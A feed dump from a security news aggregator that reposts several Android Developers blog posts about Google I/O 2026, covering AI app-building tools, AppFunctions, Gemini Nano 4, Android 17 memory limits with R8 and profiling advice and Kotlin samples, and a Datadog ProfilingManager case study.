Developers and creators can now build native Android apps, simply with a prompt in Google AI Studio. The apps are built with development best practices like Jetpack Compose, Kotlin, and APIs that leverage our recommended developer patterns. Google AI Studio enables developers to prototype, iterate via an embedded emulator, and deploy to physical devices without heavy local installations. Developers are then able to take those apps and share them to Android devices, as well as share them with others for testing through Google Play Console’s internal testing track. If a developer wants to prepare their app for a wider release, they’re able to take it to Android Studio for advanced debugging, testing, and UI polish. Watch the developer keynote, and tune into the What’s New in Android tools talk for more information.

Use the embedded Android Emulator to create Android apps in Google AI Studio

3: Accelerating AI coding assistance with Android Bench

Android Bench is our LLM leaderboard for Android development challenges. The goal is to accelerate model improvements, so you have more useful options for AI assistance. Many of you have been using open-weight models for AI assistance, so we’re now adding commonly used ones, such as Gemma 4, to the leaderboard, so you can see how LLMs that offer offline access and additional flexibility for power-users measure up. We're continuously working on increasing the difficulty of challenges we’re giving LLMs, to continue encouraging more useful improvements. 

4: Convert iOS apps to Android with the Migration Assistant in Android Studio

The Migration Assistant in Android Studio is designed to port apps from platforms like iOS, React Native, or web frameworks to native Android. By simply selecting an existing project, developers can have the agent intelligently map features, convert assets like storyboards and SVGs, and implement Android best practices using Jetpack Compose and our recommended Jetpack libraries. This effectively transforms what used to be weeks of manual porting into a streamlined agentic workflow that only takes hours. We shared a preview of the incoming feature in the developer keynote. 
A sneak peek of the Migration Assistant converting an iOS app into a native Android app

Building AI Into Your Apps

5: Building Intelligent Apps with generative AI

Generative AI enables you to create apps that are more intelligent, personalized, and agentic than ever before. This year, we introduced the latest advancements in on-device intelligence with a preview of Gemini Nano 4 for tasks like data extraction and summarization. We also expanded cloud capabilities via Firebase AI Logic, allowing developers to leverage Gemini models with robust grounding (including URL, Maps, and web search) to build smarter, more capable assistants. Furthermore, we unveiled our hybrid inference approach and the new Agent Development Kit (ADK) for Android, alongside communication protocols like AG-UI and A2UI that simplify the creation of autonomous, agentic experiences. To start integrating these powerful features, explore the developer documentation, and watch the technical deep dive session where we showcase all these technologies.

6: Experiment with AppFunctions today

AppFunctions is an Android platform API with an accompanying Jetpack library to simplify building Android MCP integrations. It empowers your apps to behave like on device MCP servers, contributing functions that act as tools for use by agents and assistants. AppFunctions integration with Gemini is currently in a private preview with trusted testers, and you can begin preparing your apps already. You can sign up for the Early Access Program and start experimenting using the API guidance, sample, and skill today.

The Future is Adaptive

7: Android is now Compose First; Views are now in maintenance mode.

Compose is our standard for UI development, and we are moving to a Compose-first approach for all future guidance and libraries. Building on five years of evolution, the latest releases deliver a more mature toolkit, from the highly customizable Styles API to refined shared element transitions and enhanced input support. These updates allow you to build beautiful, adaptive apps with less code and better performance. Learn more about what Compose-first means for Android Development in our blog post. 

Build Android UI with Compose

8: Building seamless Android experiences across devices with Jetpack Compose

The Android ecosystem is now Adaptive by Default, moving fluidly across phones, foldables, tablets, cars, XR, and expanding usages with Googlebook and connected displays. With over 580 million large-screen devices, and users on multiple devices spending up to 14x more on apps, the investment in adaptive design presents a massive opportunity. Jetpack Compose is the definitive engine for this transition, offering core tools like our latest Jetpack Navigation 3 release, new experimental Grid and FlexBox layouts, enhanced non-touch input support, and CameraX for correct camera previews across any window size. Furthermore, new skills in Android Studio make updating your existing app to adopt these adaptive patterns easier than ever. Notability’s Android debut sets a new standard for premium productivity apps. Built with Jetpack Compose, Navigation 3, and Kotlin Multiplatform, it delivers an intuitive, adaptive experience across devices.

9: Create seamless experiences for Googlebook

Last week we announced Googlebook, a high-performance laptop that provides a large-screen canvas for your existing apps. Building with adaptive principles today helps ensure your app will work on Googlebook. Get started by reviewing relevant design guidance and developer guidelines for desktop experiences. Try out the new Desktop Emulator available in the Android Studio Canary to to test your apps for this form factor today.

New Desktop Android Emulator

10: Unified widget development experience with Jetpack Glance

Android 17 marks a shift toward a single, Compose-based development model for all widgets. By unifying the experience across mobile, Wear OS, and cars through Jetpack Glance, you can soon scale UI components across the ecosystem with a familiar workflow.

The breakthrough this year is the integration of RemoteCompose. On mobile and cars, it powers high-fidelity animations, while on Wear OS, it allows Wear Widgets (formerly Tiles) to render complex UI logic natively on remote surfaces. This ensures peak performance on low-power hardware while allowing a cohesive user journey—like checking a flight status on your car dashboard and seeing gate change updates on your wrist.

Four widgets are shown cycling through in the Android Auto interface. A clock, a contact card, Google Home favorites and a photo.

11: Expand your reach on the road with Android for Cars
To help you expand your reach when you build in-car experiences, we're making it easier to build once and deliver your apps to Android Auto and Android Automotive OS. With the latest releases of the Car App Library, you can build customized, distraction-optimized templated media apps for both platforms. We're introducing new components and template capabilities to give you increased flexibility and more options for laying out content. Parked experiences are expanding too, with immersive video playback coming to Android Auto for phones running Android 17. You can easily adapt your video apps for these parked experiences; apply now to the early access program to publish in these beta categories and learn more about the latest updates in our blog.

12: Accelerate your development with Android XR Developer Preview 4

Inspired by the innovative experiences you’ve built for the platform, we’re continuing to mature our tools with Developer Preview 4 of the Android XR SDK. A key milestone in this journey is the transition of our core libraries, XR Runtime, Jetpack SceneCore, and ARCore for Jetpack XR, moving to Beta soon to provide a more stable and performant foundation. We are also accelerating hardware access through the Android XR Developer Catalyst Program, where you can apply for XREAL’s Project Aura, audio glasses, or display glasses developer kits. Watch The latest in Android XR session or read our blog to see how these updates help you build experiences across the ecosystem.

Early preview of the Geospatial API in ARCore for Jetpack XR, enabling high-precision anchoring of digital content to real-world locations.

13: Android is your new home for professional-grade media experiences

Android 17 streamlines the entire media lifecycle with a production-ready toolkit. High-fidelity capture is now simplified with the CameraXViewfinder Composable, which handles complex scaling and responsiveness on foldables and tablets. For post-production, the new Media3 AI Effects library provides a single interface for premium features like Magic Eraser and Studio Sound, automatically optimizing for the device's hardware.

The pipeline is completed by CodecDB, offering chipset-specific encoding recommendations to eliminate export noise, and a new Scrubbing Mode in ExoPlayer for ultra-smooth seeking. Whether you’re compositing multi-asset edits with Media3 Transformer or using the streamlined CastPlayer API, these updates ensure a professional-grade experience with significantly less development overhead.

Low Light Boost and Magic Eraser in action

14: Increase app discovery and engagement on Google TV

Pointer remotes, which enable motion-controlled input, will be a future way for users to interact with Google TV as it unlocks faster user navigation. App developers can start declaring support for pointing input to ensure their apps are discoverable on future TVs with pointer remotes. Additionally, the Engage SDK, formerly known as the Video Discovery API, optimizes Resumption, Entitlements, and Recommendations across all Google TV form factors to boost app discovery and engagement. It’s a great time to start onboarding the Engage SDK now, since the legacy Watch Next API, which has been powering your continue watching 1.0 experience, will lose support in the 2nd half of 2027. Get all the details in our blog.

15: Performance: the foundation of a great app experience

To help developers navigate memory limits in Android 17, we've launched a suite of optimization tools. The R8 Configuration Analyzer identifies keep rules that are bloating your binary, while ProfilingManager and the integrated LeakCanary in Android Studio streamline memory leak detection. Furthermore, the new Android Performance Analyzer offers advanced AI integration for complex trace analysis and automated SQL query generation to pinpoint performance bottlenecks.     

And The Latest on Driving Business Growth 

16: What’s new in Google Play

Today's updates from Google Play help expand your reach and scale your business with less complexity. We’re redefining Play Store discovery with an immersive, short-form video format called Play Shorts, while expanding your audience beyond the store with app discovery in the Gemini app on Android and web. Plus, we’re introducing powerful new capabilities like agentic catalog management for seamless bulk price and SKU updates, and using Gemini models to enable Play Console to pre-populate store listings from imported documents—making global localization effortless.

Gemini will provide users with app suggestions during a search

17: And of course, Android 17

Android 17 includes new performance & system architecture improvements (in addition to app memory limits) like a lock-free MessageQueue and a GC with more frequent, less intensive young-generation collections to ensure system-wide stability and smoother UIs. The new contact picker and eyedropper API help minimize the use of sensitive permissions and unnecessary access to user data.

Review the behavior changes to make sure your app is ready for Android 17, including background audio hardening and SMS OTP protection. Get ready to target Android 17 (API 37) with changes such as mandatory large-screen resizability, certificate transparency by default, and restricted local network access. You can start testing today by enrolling your device in the Beta or using the latest 17.0 emulator images.

One more thing. the third beta of our Android 17 quarterly platform release (QPR1) just came out, and it contains a minor SDK release to support a few features that just couldn't wait for QPR2.

Check out all of the Android & Play Content at Google I/O 

This was just a preview of some of the updates for Android developers at Google I/O. Tune into What’s New in Android for the latest news and announcements and follow Google I/O for much more over the following week!

]]> <![CDATA[Top AI on Android updates for building intelligent experiences from Google I/O ‘26]]> https://tsecurity.de/de/3693510/android-tipps/top-ai-on-android-updates-for-building-intelligent-experiences-from-google-io-26/ https://tsecurity.de/de/3693510/android-tipps/top-ai-on-android-updates-for-building-intelligent-experiences-from-google-io-26/ Sat, 25 Jul 2026 10:15:43 +0200 đŸ€– Android Tipps tsecurity.de Posted by Jingyu Shi, Staff Developer Relations Engineer




At Google I/O 2026, we introduced Android’s shift from an operating system to an intelligence system. We also demonstrated how you can build intelligent experiences natively with the system and bring the power of Google’s AI into your apps. If you missed these updates, check out our quick recap video here: 


1. Putting your apps at the center of the intelligence system

The Android OS already enables agents like Gemini to complete task automation, where it can navigate an app on the users behalf. 

AppFunctions (Android MCP) provides you with more control over how your app integrates with the intelligence system. This new platform API and Jetpack library are currently available in experimental preview. 

  • Android MCP: AppFunctions allows your application to act as an on-device Model Context Protocol (MCP) server. It means you seamlessly share your app's tools, services and data to the system and agents.

  • Streamlined Development: You can leverage the new skill to easily generate AppFunctions within your codebase. 

  • Exploration and Testing: We’ve released a new test agent that allows you to experiment and debug your AppFunctions in a simulated agent environment. 
Early Access Program: Want to be among the first apps to deploy app functions in production? Join our early access program today!

To see it in action, check out the live demo showcased during the What’s New in Android presentation.


 2. On-Device Power with Gemini Nano 4 Preview


Last month, we launched Gemma 4, our state-of-the-art open models. You can already preview and prototype with the next generation of Gemini Nano (Nano 4) models with the AIcore developer preview. To make productionizing with Gemini Nano more reliable and performant, we are adding a few new features in ML Kit GenAI APIs: 

  • Prototype to Production: Transition from prototyping in the AICore Developer Preview to building production-ready apps using the ML Kit GenAI Prompt API to leverage Gemini Nano 4 that’s launching in flagship devices later this year.

  • Structured Output: The upcoming Structured Output API will allow you to define object classes to be returned as outputs from Prompt API, ensuring reliable outputs in productionizing your intelligent features. 

  • Prefix Caching: It optimizes your on-device inference performance with the prompt API. The new Prefix caching reduces inference time by storing and reusing the intermediate LLM state of processing a shared and recurring part of the prompt.


For highly customized or niche use cases, you can also use LiteRT-LM to bring your own fine-tuned small language model to Android.



3. Hybrid Inference & Agents

To help you build more advanced AI features like hybrid inference and explore building in-app agents, we’ve released new APIs, framework and guidances:

  • Firebase AI Logic Hybrid Inference: This new API provides the simple routing capability between on-device models and powerful cloud infrastructure. You can set explicit orchestration modes, such as PREFER_ON_DEVICE, PREFER_CLOUD, ONLY_ON_DEVICE, or ONLY_CLOUD, based on your need.

  • A2UI Jetpack Compose Renderer: The new A2UI library allows your agents to "speak UI". With the upcoming Jetpack Compose Renderer, you can automatically render these A2UI messages as native UI components.

  • ADK for Android: The first version of ADK for Android is available for experimentation. It allows you to build multi-agent workflows across both on-device and Cloud models while managing orchestration, context handling and sessions between agents.

From building with on-device models, exploring hybrid inference to building agents, you can see them in action in this talk: 
 


Start Building Today

Whether you are experimenting with AppFunctions to prepare for the intelligence system, or looking to bring the power of Google’s AI within your own app, we’ve got you covered. Dive deeper into the code snippets, samples and comprehensive developer guides on the Android AI hub. For the full breakdown of what’s new, check out the official AI on Android at Google I/O 2026 playlist.

We are excited to see what you build! 


]]> <![CDATA[Building Premium Android Experiences at Google I/O ‘26]]> https://tsecurity.de/de/3693509/android-tipps/building-premium-android-experiences-at-google-io-26/ https://tsecurity.de/de/3693509/android-tipps/building-premium-android-experiences-at-google-io-26/ Sat, 25 Jul 2026 10:15:42 +0200 đŸ€– Android Tipps tsecurity.de
Posted by Ataul Munim, Android Developer Relations Engineer
A truly differentiated Android experience is about delivering premium delight wherever your users are. At Google I/O ‘26, we showcased how the latest advancements in the Android ecosystem can help you elevate your app's quality while maximizing development efficiency.

To help you build apps that stand out, we're diving into the key tools and libraries designed to optimize your core performance, extend the surfaces of your app to other devices, and streamline how your app handles high-quality media. 

Here is a recap of the essential updates and sessions you need to know to deliver a next-level experience across form factors!

Maximize app performance and ROI with the R8 Configuration Analyzer

A premium experience is only as good as its foundation, and a performant foundation is what allows your app to scale across the Android ecosystem. This is especially true with the release of Android 17, which introduces conservative, device RAM-based app memory limits to target extreme memory leaks and outliers before they cause system-wide instability. To stay below these new system thresholds and prevent your app from being terminated, having a lean footprint is no longer optional: it’s a critical requirement.

This year, we’re making it easier to build highly optimized, fast apps by introducing the R8 Configuration Analyzer in Android Studio. R8 is your most powerful tool for improving app performance, but its effectiveness is often limited by overly broad "keep rules" that prevent the compiler from stripping away unused code. The new Configuration Analyzer provides optimization, obfuscation, and shrinking scores, allowing you to identify specific rules that are preventing the benefits of R8 optimization.

By optimizing their R8 configurations, developers at Monzo achieved a 30% improvement in cold starts and a 35% reduction in ANRs. Smaller, faster code isn't just about efficiency; it's about ensuring your app has the memory headroom to deliver delight on every form factor, from the phone to the car.

Extend your reach with a unified approach to Widgets on Phones, Watches and Cars

User interaction is shifting toward quick, glanceable moments—short bursts of information that keep users connected without needing to open the full app. To help you increase the reach of your app content, we are unifying the development experience across the Android ecosystem with Jetpack Glance. By using a consistent, Compose-based model, you can elevate the content most important to your users straight to the phone’s home screen, Wear Widgets (previously Tiles!), and cars with a familiar workflow.

In order to help users engage with your content and features, even outside your app, we are making widgets more expressive and adaptive with RemoteCompose. On Wear OS, RemoteCompose allows you to use the Compose tools you’re already comfortable with to define UI logic that renders natively on remote surfaces, ensuring that your glanceable experiences remain highly performant and responsive even on resource-constrained hardware. On mobile and cars, RemoteCompose is used as a new framework giving Widgets new expressive capabilities.

You can use Jetpack Glance (together with RemoteCompose on Wear) to deliver a cohesive user journey. Whether it’s viewing flight status on the car dashboard, checking a gate change on a watch, or managing a boarding pass from a phone widget, this shared approach maximizes your app’s presence while keeping your development effort focused and efficient.

Supercharge your media pipeline with a complete, production-ready toolkit

Android has become a world-class home for the entire media lifecycle, and we are simplifying the journey from the first capture to the final playback. By leveraging Jetpack CameraX and Media3, you can build professional-grade experiences that feel native across the entire ecosystem. 

It starts with high-fidelity capture using the CameraXViewfinder Composable, which ensures your preview remains perfectly scaled and responsive on any form factor, including foldables and tablets. Use this to build adaptive capture experiences like a picture-in-picture view for multi-tasking, or that take advantage of modern features like high-frame-rate or slow-motion capture with CameraX v1.5.

The new Media3 AI Effects library will provide a unified interface for premium features like Image & Video Enhance, Magic Eraser, and Studio Sound. This allows you to focus on the creative intent while Media3 handles the heavy lifting of choosing the most efficient and reliable path for the device. Then, use the latest improvements in multi-asset editing with Media3 Transformer to composite your edited videos together!

Complete the pipeline with tools designed for professional-grade export and viewing, including:

  • CodecDB, which offers data-driven encoding recommendations tailored to specific chipsets, ensuring your exported videos maintain high visual quality with minimal noise or blurriness
  • Scrubbing Mode in ExoPlayer to provide the buttery-smooth seeking experience users expect from premium media apps
  • Enhanced Cast support with the new CastPlayer API in Media3

By unifying these technical pillars, you can build a cohesive, high-performance media journey that delivers both delight for your users and high ROI for your development team.

For more details, check out the premium Android experience YouTube playlist.

]]> <![CDATA[Prioritizing Memory Efficiency: Essential Steps for Android 17]]> https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/ https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/ Sat, 25 Jul 2026 10:15:41 +0200 đŸ€– Android Tipps tsecurity.de
Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer

While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which these visible metrics are built. It's no secret that we're seeing a shift where device memory is more important than ever. Not only have we made strides in Android memory optimizations with Android 17, we're providing the tooling and API support to help you stay ahead of stricter memory requirements later this year.

To ensure device stability, starting in Android 17, the system will begin enforcing app memory limits based on the device's total RAM. If an app exceeds those limits, Android will kill the process with no associated stack trace.

Beyond these forced terminations, unoptimized memory usage inevitably degrades the user experience. When the app approaches heap memory limits, it triggers frequent garbage collection—leading to noticeable UI stutters. Furthermore, when a device runs out of available memory, the system scrambles to reclaim pages, causing CPU strain, UI latency, and battery drain. If the memory shortage is too severe, it can cause Low Memory Killer (LMK) events that abruptly terminate background processes and force apps to have slow cold starts and lose user state.

To build highly performant apps and avoid these forced terminations, we recommend that you adopt the following memory optimization strategies:

  1. Maximize bytecode optimization with R8
  2. Optimize image loading
  3. Detect and fix memory leaks with Android Studio
  4. Trim memory when app leaves visible state
  5. Advanced memory observability with ProfilingManager

A condensed version of this blog post is also available in video format, go check it out!

Understanding Android 17 app memory limits

App memory limits are being introduced in Android 17 to prevent "one bad actor" from destroying the multitasking experience and stability of the user’s entire device.

Here is a breakdown of the reasons driving this architectural change:

  • Preventing cascading kills: When an app becomes bloated or leaks memory while holding a privileged state (e.g. it’s running a Foreground Service), it is initially shielded from the system's Low Memory Killer (LMK). As this single app grows unchecked and hoards RAM, the LMK is forced to compensate by killing off dozens of smaller, well-behaved cached apps and background jobs to reclaim space for the memory hog.
  • Preserving multitasking and user state: When the system is forced to purge cached apps to accommodate a single leaking process, the multitasking experience is severely degraded. Users returning to prior cached applications encounter sluggish cold starts instead of near-instant warm resumes. This inefficiency generates more CPU strain and accelerates battery depletion. It can also destroy the user’s context in recently used apps, such as scroll positions, navigation stacks, and in-game progress.

To determine if your app session was impacted by these constraints in the field, you can call getDescription() within ApplicationExitInfo. If the system applied a limit, the exit reason is reported as REASON_OTHER and the description string will contain "MemoryLimiter:AnonSwap". You can also leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached. Furthermore, Android is actively working to surface more in-field memory metrics to developers within the Google Play Console.

We have also expanded our memory limits documentation to include local debugging commands, allowing you to simulate memory constraints in your local environment and validate your application's behavior under any memory limit enforcement. 

Maximize bytecode optimization with R8

A highly effective way to reduce your app's memory footprint is to enable the R8 optimizer. By shrinking classes, methods, and fields into shorter names and stripping out unused code and resources, R8 significantly reduces your app's memory footprint by minimizing the amount of resident code required during execution. 

R8 minimizes resident code, shrinking the memory footprint and lowering LMK termination risk. This results in more frequent warm starts over slow cold starts. Additionally, streamlined bytecode reduces main-thread CPU overhead, directly cutting ANR rates for a more fluid user experience. For example, the digital bank Monzo enabled full R8 optimization and saw a 35% reduction in their ANR rate, a 30% improvement in cold start rate, and a 9% reduction in overall app size.

The digital bank Monzo enabled full R8 optimization and boosted performance metrics by up to 35%.

To properly configure R8 in your build.gradle file:

  • Set isShrinkResources = true and isMinifyEnabled = true.
  • Use proguard-android-optimize.txt instead of the legacy proguard-android.txt, which actually prevents optimizations and is no longer supported in Android Gradle Plugin 9.
  • Remove android.enableR8.fullMode = false from your gradle.properties.

If you are using reflection in your code base, then add Keep rules to prevent R8 from optimizing those parts of the code. Make sure to scope the keep rules narrowly to get the maximum optimization.

To get the maximum optimization, make sure to follow these best practices in your keep rule file.

  • Remove global options like -dontoptimize, -dontshrink, and -dontobfuscate that prevent R8 from optimizing the entire codebase 
  • Remove keep rules that prevent optimizing Android components like Activity, Services, Views or Broadcast receivers.
  • Refine the broad package wide keep rules to target only specific classes or methods.

To see more best practices, view our keep rules documentation.

Library Developer R8 Best Practices

If you are a library developer, strictly place the rules your consumers need into your consumer-rules file, and keep your library's internal protection rules in your proguard-rules.pro file. For more information on how to optimize libraries, see Optimization for library authors.

R8 Configuration Analyzer

To audit your R8 optimization, use the Configuration Analyzer. Configuration analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores. With configuration analyzer, you can also understand how many classes, methods or fields are prevented from optimization by each keep rule. Refine these broad package wide keep rules to unlock the maximum optimization.

Using configuration analyzer, you can also identify keep rules that are subsuming other keep rules, redundant keep rules and unused keep rules.

The Configuration Analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores.

R8 Agent Skill 

You can also leverage the R8 Agent Skill with Android Studio agent or other AI tools to resolve misconfigurations and refine your rules resulting in improved app performance. (Insights from AI-driven skills will require technical verification)

Optimize image loading

Bitmaps are usually the largest common objects residing in your app's memory. They represent the final stage of the image loading process where compressed files, like JPEGs or PNGs, are decoded into raw pixel data for display. This means a tiny 100KB compressed image can balloon into several megabytes of RAM because memory consumption is determined by the image's pixel dimensions and color depth. Since bitmap operations are frequently on the critical path to drawing frames, unoptimized images cause severe memory bloat and UI jank.

Google recommends leveraging image loading libraries Coil for Kotlin-first projects, particularly when developing with Jetpack Compose and Glide for Java-based applications.

Adopt these five best practices

  1. Downsample images: If you’re loading bitmaps manually, avoid loading a massive image into a tiny thumbnail view; use inSampleSize to load a smaller version. Glide and Coil downsamples images by default and you can configure this downsample strategy using DownsampleStrategy and ImageLoader respectively.
  2. Cropping: Avoid embedding padding directly into an image file for letterboxing purposes (e.g., creating a transparent border to expand an image dimensions). Rather than baking in these borders, utilize InsetDrawable or apply padding directly within the View or Composable containing the bitmap.
  3. Config: Balance memory and quality by choosing the right pixel format. Use RGB_565 when transparency isn't needed, which uses half the memory of the default ARGB_8888 format. In Glide you can configure this by using DecodeFormat and in Coil you can use bitmapConfig property.
  4. Prioritize vector drawables: For basic geometric assets, leverage ShapeDrawable as a lightweight alternative to decoding rasterized bitmaps. By defining these assets once via XML, you ensure they scale seamlessly across all display densities while effectively eliminating resource-driven memory bloat.
  5. Reuse: If your application manages Bitmaps manually then to minimize memory churn, when a bitmap is no longer required, the app should call bitmap.recycle() and immediately discard the Bitmap reference. If you use an image loading library like Glide or Coil, return the bitmap to the library’s managed pool. By providing an existing buffer for future memory needs, the pool effectively avoids the overhead of new allocations.

Check out our documentation on Optimizing performance for images to learn more.

Android Studio tooling

You can also eliminate redundant bitmaps using Android Studio Narwhal 4. Here is how to hunt them down in five simple steps:

  1. Open the Profiler tab in Android Studio
  2. Click Heap Dump (or "Analyze Memory Usage") and hit record to take a snapshot of your app’s current memory state.
  3. Scan the analysis results for the yellow warning triangle ⚠, which Android Studio uses to flag duplicate bitmaps being stored multiple times. Alternatively, navigate to the profiler header, choose "Filter by:" and pick the "Duplicate Bitmaps" setting.
  4. Click on any flagged entry to open the Bitmap Preview pane, allowing you to see exactly which image is the repeat offender.
  5. Use that visual confirmation to track down the redundant loading logic in your code and implement a better caching strategy.
Look for the yellow warning triangle ⚠ in heap dumps when using the Android Studio Profiler.

Detect and fix memory leaks with Android Studio

Memory leaks in Android occur when your code holds onto an object's reference long after its lifecycle has ended. This prevents the Garbage Collector (GC) from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError (OOM).

Android Studio Panda 3 features a dedicated LeakCanary profiler task, allowing developers to analyze real-time memory leaks and map traces within the IDE.

The LeakCanary profiler task in Android Studio actively moves the memory leak analysis from your device to your development machine, resulting in a significant performance boost during the leak analysis phase as compared to on-device leak analysis.

LeakCanary memory leak analysis contextualized with Go to declaration for debugging

Additionally, the leak analysis is now contextualized within the IDE and fully integrated with your source code, providing features like go to declaration and other helpful code connections that drastically reduce the friction and time required to investigate and fix memory leaks.

Examples of common memory leaks 

Memory leaks occur when an object persists in memory beyond its intended lifespan. This typically happens due to:

  • Retaining references to Fragments, Activities, or Views that are no longer in use.
  • Mismanaging Context references.
  • Failing to properly unregister observers, listeners, and receivers.
  • Creating static references to objects that are bound to components with shorter lifecycles.

Here are a few example scenarios:

Scenario

Compose-based example

View-based example

Leaking Context

Example:
Passing LocalContext.current to a ViewModel

Fix:
Keep Context dependent logic within the UI layer. For non-UI layers, refactor to use dependency injection or observe UI state using Kotlin flow.

Example:
Storing an Activity in a companion object or static variable.

Fix:
Don’t hold static references to UI components. Refactor to use dependency injection or observe UI state using Kotlin flow.

Leaking Listeners

Example:
Using DisposableEffect to start a listener but leaving onDispose empty.

Fix:
Perform the unregistration and cleanup logic inside the onDispose block.

Example:
Registering for SensorManager updates and forgetting to unregister.

Fix:
Manually call unregisterListener() in onStop() or onDestroy() lifecycle.

Leaking Views

Example:
Holding a reference to a legacy View inside an AndroidView without a release strategy.

Fix:
Use the release block of the AndroidView composable to clean up the legacy View.

Example:
Keeping a reference to a view binding object after the Fragment is destroyed.

Fix:
Set the binding variable to null inside the onDestroyView() lifecycle method.

Trim memory when app leaves visible state

Android can reclaim memory from your app or stop your app entirely if necessary to free up memory for critical tasks, as explained in Overview of memory management. Android will usually reclaim memory from your app when it’s not visible to the user, such as by discarding some of your app’s code and data pages in memory or compressing your heap allocations. When the user resumes your app and your app tries to access some memory that’s been reclaimed, the OS will swap that memory back in on demand. This swapping behavior can be slow, and cause unexpected jank or stutters in your app.

If you leave it to the OS to decide what memory to reclaim from your app, you may find that the OS reclaimed memory that you’ll need shortly after resuming your app. Instead, your app can voluntarily discard memory allocations that it can regenerate later, on demand and at a low cost. To do so, you can implement the ComponentCallbacks2 interface. You can implement onTrimMemory in your Activity, Fragment, Service, or even your custom Application class. Using it in the Application class is highly effective for global cache management.

The provided onTrimMemory() callback method notifies your app of lifecycle or memory-related events that present a good opportunity for your app to voluntarily reduce its memory usage.

In terms of memory lifecycle management, your implementation should focus exclusively on TRIM_MEMORY_UI_HIDDEN and TRIM_MEMORY_BACKGROUND. Since Android 14, the system has ceased delivering notifications for other legacy constants, which were formally deprecated in Android 15.

TRIM_MEMORY_UI_HIDDEN: This signal indicates that your application's UI has transitioned out of the user's view. This provides an opportunity to release substantial memory allocations tied strictly to the interface—such as Bitmaps, video playback buffers, or complex animation resources.

TRIM_MEMORY_BACKGROUND: At this level, your process is residing in the background and is now a candidate for termination to satisfy the system's global memory needs. To extend the duration your process remains in the cached state, and reduce the number of app cold starts, you should aggressively release any resources that can be easily reconstructed once the user resumes their session.

import android.content.ComponentCallbacks2
// Other import statements.

class MainActivity : AppCompatActivity(), ComponentCallbacks2 {

    /**
     * Release memory when the UI becomes hidden or when system resources become low.
     * @param level the memory-related event that is raised.
     */
    override fun onTrimMemory(level: Int) {

        if (level >= ComponentCallbacks2.TRIM_MEMORY_UI_HIDDEN) {
            // Release memory related to UI elements, such as bitmap caches.
        }

        if (level >= ComponentCallbacks2.TRIM_MEMORY_BACKGROUND) {
            // Release memory related to background processing, such as by
            // closing a database connection.
        }
    }
}

Note: The onTrimMemory integration may depend on SDK support. For instance, certain games rely on their game engine to enable this capability. Please check out the game memory optimization documents.

Advanced memory observability with ProfilingManager

To catch and diagnose memory issues in the field that cannot be reproduced locally, you should leverage the ProfilingManager API. Introduced in Android 15, this advanced observability API allows you to programmatically collect real-user Perfetto profiles.

For teams that lack a dedicated infrastructure to manage and host performance artifacts, Crashlytics is exploring a specialized solution to streamline this workflow. They are inviting developers to provide feedback.

Android 17 introduces new event-driven triggers, most notably TRIGGER_TYPE_OOM and TRIGGER_TYPE_ANOMALY:

  • The OOM trigger automatically collects a Java heap dump at the exact moment an OutOfMemoryError crash occurs, providing precise allocation states. A collected OOM profile is provided the next time the app starts and registers the registerForAllProfilingResults callback.
  • The Anomaly trigger detects severe performance issues, such as excessive binder spam or breached memory thresholds. The memory anomaly delivers a heap dump just prior to the system terminating the app.
  val profilingManager = 
applicationContext.getSystemService(ProfilingManager::class.java)
    val triggers = ArrayList()  


    triggers.add(ProfilingTrigger.Builder(
                 ProfilingTrigger.TRIGGER_TYPE_ANOMALY))
    val mainExecutor: Executor = Executors.newSingleThreadExecutor()
    val resultCallback = Consumer { profilingResult ->
        if (profilingResult.errorCode != ProfilingResult.ERROR_NONE) {
            // upload profile result to server for further analysis          
            setupProfileUploadWorker(profilingResult.resultFilePath)
        } 

    profilingManager.registerForAllProfilingResults(mainExecutor, resultCallback)
    profilingManager.addProfilingTriggers(triggers)

Once you’ve collected the heap dump, you can download the profile from the server, or locally via adb pull and drag and drop the file into the Perfetto UI. To streamline your memory debugging workflow, use the Heap Dump Explorer, this is the new default view for heap dumps in Perfetto UI. This tool provides an intuitive interface for inspecting Java heap dumps, allowing you to visualize object allocation hierarchies, compute retained memory sizes, and identify the shortest path from garbage collection root. By leveraging the Heap Dump Explorer, you can rapidly pinpoint memory leaks, bloated retained objects such as excessive bitmap allocations, and analyze heap object allocations all in one place.

Use the Heap Dump Explorer’s embedded flamegraph to visually inspect and navigate through objects with the highest heap allocations.

Conclusion

Optimizing bytecode with R8, adopting image loading best practices, and resolving memory leaks are critical steps toward delivering a high-quality user experience while managing resources effectively under pressure. Adopting these proactive measures helps maintain app stability and performance, preventing unexpected terminations while safeguarding user context. To further your performance expertise, explore our revised memory guidance.

]]> <![CDATA[Datadog delivers millions of in-depth performance insights with ProfilingManager]]> https://tsecurity.de/de/3693507/android-tipps/datadog-delivers-millions-of-in-depth-performance-insights-with-profilingmanager/ https://tsecurity.de/de/3693507/android-tipps/datadog-delivers-millions-of-in-depth-performance-insights-with-profilingmanager/ Sat, 25 Jul 2026 10:15:39 +0200 đŸ€– Android Tipps tsecurity.de

Posted by Alice Yuan, Developer Relations Engineer at Google, Arti Arutiunov, Product Manager at Datadog and Nikita Ogorodnikov, Staff Software Engineer at Datadog



Performance regressions are notoriously hard to reproduce, making regressions a massive bottleneck for mobile developers. Although signals like ANR rates indicate what issues occur in production, pinpointing the specific line of code that resulted in the performance issue has historically necessitated exhaustive manual reproduction or speculative trial-and-error experimentation.

Datadog collaborated with Google to mitigate this frustration by integrating the ProfilingManager API (available on Android 15+ devices) into its Real User Monitoring (RUM) and Continuous Profiling platforms. This integration transforms the debugging workflow, allowing developers to move beyond surface-level symptoms to being able to detect the why behind a performance bottleneck.

By leveraging this system-level API, Datadog now processes millions of production profiles weekly across the globe according to Datadog internal data of June 2026. It provides engineering teams with a new level of visibility into real-world performance, all while maintaining a low runtime overhead for production-scale performance monitoring.

The impact of ProfilingManager

ProfilingManager is a system service introduced in Android 15 that enables apps to programmatically collect performance data such as call stack samples, field traces and memory heap dumps directly from production environments. This capability shifts the engineering paradigm from reactive manual reproduction to proactive field analysis.

